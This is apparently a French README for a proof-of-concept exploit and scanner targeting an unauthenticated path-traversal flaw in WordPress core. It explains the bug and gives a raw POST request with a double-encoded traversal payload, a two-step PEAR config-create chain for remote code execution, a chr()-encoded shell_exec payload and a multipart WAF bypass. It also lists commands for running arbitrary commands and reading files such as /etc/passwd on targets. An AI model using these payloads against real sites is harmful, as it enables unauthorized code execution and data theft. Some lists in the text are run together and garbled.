
PoC et scanner Python pour CVE-2026-87902, une traversée de chemin dans le cœur de WordPress menant à une LFI et à une RCE basée sur PEAR, avec contournement de WAF et exploitation automatisée.
| Champ | Valeur |
|---|
| CVE | CVE-2026-87902 |
| CVSS | 9.2 (Critique) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-98 — Contrôle inapproprié du nom de fichier pour Include/Require |
| Affecté | WordPress 4.7.0 – 7.1.1 |
| Corrigé | WordPress 7.1.2 + rétroportages vers toutes les branches supportées |
| Auth | Aucune (non authentifiée) |
get_page_template() dans wp-includes/template.php appelle urldecode() sur le paramètre de requête pagename après que l'assainissement a déjà été exécuté. Une séquence ../ doublement encodée (%252E%252E%252F) passe le premier décodage PHP sous la forme %2E%2E%2F, survit à sanitize_title_with_dashes() (qui préserve les séquences %xx), puis est décodée par l'appel tardif urldecode() de WordPress en ../ — échappant ainsi du répertoire du thème.
La méthode POST est requise car redirect_canonical() retourne prématurément pour les requêtes non-GET/HEAD, empêchant la normalisation du chemin avant d'atteindre le code vulnérable.
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex
1. PHP decodes POST body: templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP sanitize preserves: templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() resolves: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() succeeds → include() executes the file
.php arbitraires en dehors du répertoire du thème sont inclus et exécutéspearcmd.php (nécessite PEAR installé + register_argc_argv=On)Deux requêtes POST anonymes permettent d'obtenir une RCE :
Étape 1 — Inclure pearcmd.php via le traversal. La chaîne de requête /?+config-create+/<php-payload>+<output>.php devient l'argv de PEAR. La commande config-create écrit des données contrôlées par l'attaquant (y compris des balises PHP) dans un répertoire accessible en écriture.
Étape 2 — Inclure le fichier écrit par PEAR. Le PHP embarqué s'exécute avec les privilèges du serveur web.
Les payloads PHP utilisent l'encodage chr() (<?=shell_exec(chr(105).chr(100))?>) pour éviter les caractères de guillemets que wp_magic_quotes() échapperait.
cve-2026-87902.py — vérificateur automatisé + scanner LFI + exploit RCE PEAR. Utilise http.client pour un contrôle exact des octets de la requête (aucun ré-encodage par une bibliothèque).
Python 3.6+ (bibliothèque standard uniquement — aucune dépendance pip)
# Check vulnerability only
python3 cve-2026-87902.py https://target.com --check
# Check with WAF bypass (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart
# Specify page ID and traversal depth
python3 cve-2026-87902.py https://target.com -p 42 --depth 7
# LFI scan (default targets)
python3 cve-2026-87902.py https://target.com
# LFI scan with custom files
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable
# RCE via PEAR chain
python3 cve-2026-87902.py https://target.com --rce "id"
# Read a file via RCE
python3 cve-2026-87902.py https://target.com --read /etc/hostname
# Full options
python3 cve-2026-87902.py https://target.com --rce "whoami" \
--pear /usr/local/lib/php/pearcmd \
--output /tmp/wp-rce-payload \
--multipart --timeout 30
page-*--multipart encapsule le payload dans multipart/form-data pour échapper à la correspondance de motifs du WAFchr()| Marqueur | Signification |
|---|---|
[HIT] | Le fichier a été inclus avec succès |
[---] | Réponse normale (fichier non inclus) |
[???] | La réponse diffère significativement — à investiguer |
[WAF] | Bloqué par le WAF (403) |
[ERR] | Échec de connexion |
page-* (par ex. page-templates/)pearcmd.php de PEAR lisible + register_argc_argv=On + /tmp accessible en écritureMettez à jour vers WordPress 7.1.2 ou la dernière version de sécurité pour votre branche (rétroportages disponibles jusqu'à 4.7).
Cet outil est fourni uniquement pour des tests de sécurité autorisés et de la recherche en bug bounty. Ne l'utilisez que contre des systèmes pour lesquels vous disposez d'une autorisation explicite de test. L'accès non autorisé à des systèmes informatiques est illégal.